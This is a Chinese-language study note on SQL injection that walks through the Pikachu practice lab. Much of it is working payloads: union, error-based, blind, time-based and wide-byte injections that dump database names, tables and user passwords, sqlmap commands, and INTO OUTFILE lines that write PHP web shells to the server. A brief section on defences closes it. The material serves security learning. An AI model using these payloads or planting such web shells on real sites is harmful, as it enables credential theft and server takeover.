sql注入危害利用及防护详解+sqlmap使用

来自于个人日常学习总结,欢迎大家一起来学习交流,如要转载请标明出处。

sql注入危害

数据库信息泄露
网页篡改: 通过操作数据库对网页进行篡改,嵌入木马连接
数据库被恶意操作:被攻击、管理员账户被更改
服务器被远程控制 : 黑客可以修改和控制系统
种植木马 : 使系统瘫痪

注入的本质/原理

用户输入的数据被当做语句执行(通过将恶意的sql查询或添加语句插入到应用的输入参数中,带入到sql服务器执行这些攻击语句)

sql注入出现的地方

内部角度:
url传参
表单post
cookie
user-agent
x-forwarded-for
业务点:
新闻商品查询处
用户登录注册
修改用户资料
找回密码
搜索框

sql注入思路

1、判断注入点

数字型:
id=1 and 1=1#
id=1 and 1=2#
字符型:
id=1’ and 1=1#
id=1’ and 1=2#

2、信息搜集

数据库版本 version()
数据库名 database()
数据库用户 user()
操作系统
(哪个字段报错,在哪个字段输入查询)

	猜解列名数量(字段数) -------- order by x 错误与正确的连接点(正确的那个就是正确的字段数)
	union 联合查询 
	至前面语句错误
		如:(id=-2)或者 id=2 and 1=2
	
	利用
	information_schema.schemata
	information_schema.tables
	information_schema.columns
	
	利用条件:Mysql版本大于5.0

	​ group_concat():将查询的数据一行全部显示出来
	
必要知识点:mysql5.0以上版本中。mysql数据库存在一个infomation_schema(它是一个存有数据库名,表名,列名的数据库),相当于直接查询它获得信息
	
		猜解多个数据可以用 limit x,1   x是变动的

3,获取权限

通过数据库执行shell,上传木马

piakchu章节练习

字符型sql注入

1、确定注入点
在URL中,参数为name,当输入1’时报错,当输入’'时正常显示 ,可以判断注入点为name,漏洞类型为字符型。
(扩展:在参数中输入正常的值,页面有内容,输入不正常值(胡乱输入),页面没有内容显示,没有报404错误,说明有注入点)

==2、确定字段数 ==
只有确定了字段数,才可以使用union这个关键词连接我们自己的查询语句。可以采用order by来确定字段数
输入1’ order by x # 通过更改数值,直到报错,判断字段数

3、确定数据库和数据表
1’ union select database(),2 #
可以看出数据库名称是pikachu

查所有数据库名
id=-1’ union select group_concat(schema_name),2 from information_schema.schemata#

4、确定数据表
我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表

其中有tables数据库,用来存放数据表信息

mysql语句:
select table_name,1 from information_schema.tables where table_schema=‘pikachu’;

payload
id=-1’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

看到了users表

可以暴力破解
kobe’ and exists(select * from passwd)# ----passwd是字典名字,抓包放到burpsuite

5、获得数据表中的字段(获取列名)
select column_name,2 from information_schema.columns where table_name=‘users’ and table_schema=‘pikachu’;

==payload ==
id=-1’ union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=‘users’–+
)
6、看到了username,password字段,就可以利用字段获取数据库里面的用户名和密码了
1’ union select username,password from users #

7、写马
执行系统命令
kobe’ union select “<?php system($_GET['cmd']);?>”, 2 into outfile “D:\phpStudy\PHPTutorial\WWW\2.php”#
执行php代码
kobe’ union select “<?php @eval($_GET['test']);?>”, 2 into outfile “D:\phpStudy\PHPTutorial\WWW\1.php”#

搜索型注入

1.搜索型注入漏洞产生的原因:

在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,
但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。

2.搜索型注入的类型:

同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型
(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。

3.原理分析
select * from user where password like ‘%$pwd%’
%是通配符,匹配任何字符
like是像的意思
这句SQL语句基于用户输入的pwd,在user表中找到相应的password

当我们在输入框输入 l%’ and 1=1#输出你想要的结果,输入l%’ and 1=2#,与上次结果不一样,说明存在注入漏洞

4,注入攻击
‘and 1=1 and ‘%’=’
内容会全部回显出来
%’ and 1=1#
’ and 1=1#
有同样的效果
5,判断字段数
’ and 1=1 order by 4#
页面显示 Unknown column ‘4’ in ‘order clause’
’ and 1=1 order by 3#
可以显示数据,说明字段数是3

’ and 1=2 union select 1,2,3#
正常回显
%’ and 1=2 union select 1,2,(database())#
爆出当前数据库的名字

xx型注入

查看源代码 (’$name’)
传入的参数name ,被单引号和括号包裹,把单引号和括号闭合就可以。

insert/update注入

MySQL 表中使用 insert into SQL语句来插入数据

1、在注册界面
	用户名输入 ' 报错,说明输入的数据被带入数据库查询

三个常用函数
	
	    updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
	    extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
	    floor():MySQL中用来取整的函数

	updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
	
	  语法:UPDATEXML (XML_document, XPath_string, new_value)
	
	        第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
	
	        第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
	
	        第三个参数:new_value,String格式,替换查找到的符合条件的数据

	extractvalue()#
	
	核心原理是一样的,也是对 XML
	
	  extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
	
	  语法:ExtractValue(xml_document, XPathstring)
	
	        第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
	        第二个参数: XPathstring,XPath 格式的字符串
	

payload(报错回显)
	
	爆出数据库名和版本
		w' or updatexml(0,concat(0x7e,database()),0) or'
		或者 w' and updatexml(0,concat(0x7e,version()),0)#
			
	爆出表名
		
		w' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#
		但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息	
			
		w' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#
		我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果

		
	查询数据库中的表名
	 w' or updatexml ( 0,concat ( 0x7e,  ( select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='pikachu'    )  )  ,0  )   or'

delect注入

删除留言板内容,抓包查看,服务器传递一个get请求,删除一个id(根据这个id删除留言)

猜测后台sql语句
delect from message where id=x

==构造payload ==
id=1 or updatexml (1,concat(0x7e,database()),0)

burpsuite经过url转码 (选中 右键---->convert selection—>URL—>url encode key characters)

http header注入

后台开发人员为了验证客户端头信息(比如cookie验证或者通过http header获取客户端的一些信息,比如user agent,accept字段等
对客户端的http header信息进行获取并使用sql语句处理,如果没有足够的安全考虑 ,会导致基于http header的注入漏洞

user agent 或者是cookie 都可以注入 

	报错注入payload如下
	
	1' or updatexml(1, concat(0x7e, database()), 0) or '

盲注(base on boolean)

基于真假的盲注主要特征

    没有报错信息
    不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
    在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断
	1、判断是否存在注入,是数字型还是字符型
		
		    输入1,显示相应用户存在:
		    输入1' and 1=1 #,显示存在:
		    输入1' and 1=2 #,显示不存在:
		判断是字符型的

sqlmap盲注
-r burpsuite请求数据包保存成xx.txt文件,在对应注入的位置画*
sqlmap -r xx.txt 进行注入
–level 注入等级,2时可以测试cookie,HTTP User-Agent/Referer头在level为3的时候就会测试
-p 指定注入的参数
-u 网站url
–current-db 爆数据库 (或者 --dbs)
–tables 爆表
–columns 爆列
–batch 自动选择(y/n)
例句:

	sqlmap -r sql.txt --level 2 --dbs --batch --vv 3
	sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=666&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch
		--current-db        Retrieve DBMS current database(检索DBMS当前数据库)
	sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password  --batch

盲注(based on time)

输入下面payload测试
kobe’ and sleep(5)#

宽字节注入

原理:
利用mysql一个特性,mysql使用GBK编码时,会认为两个字符是一个汉字(前一个ascii码要大于128,才能到汉字范围)

我们无论是post get 传入的参数都会加上 ''转义字符,确保这些数据不会威胁数据库
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线

1,输入a’
会报错,我们在源代码中加上输出函数,使得我们的输入在转义后可以显示出来,显示结果为 a’
'被\转义,导致不可执行。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”

2,构造payload,逃逸单引号

a%df’ or 1=1#
需要在burpsuite中使用,在网页输入还是会报错

SQL注入防范措施

代码层面
对输入进行严格的转义和过滤
使用预处理和参数化(Parameterized)
网络层面
通过WAF启用防范SQL Inject
云端防护(360网站卫士,阿里云盾)
impossible
PDO(php data object)技术:划清代码与数据的界限,有效的防止了sql注入
随机码机制
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值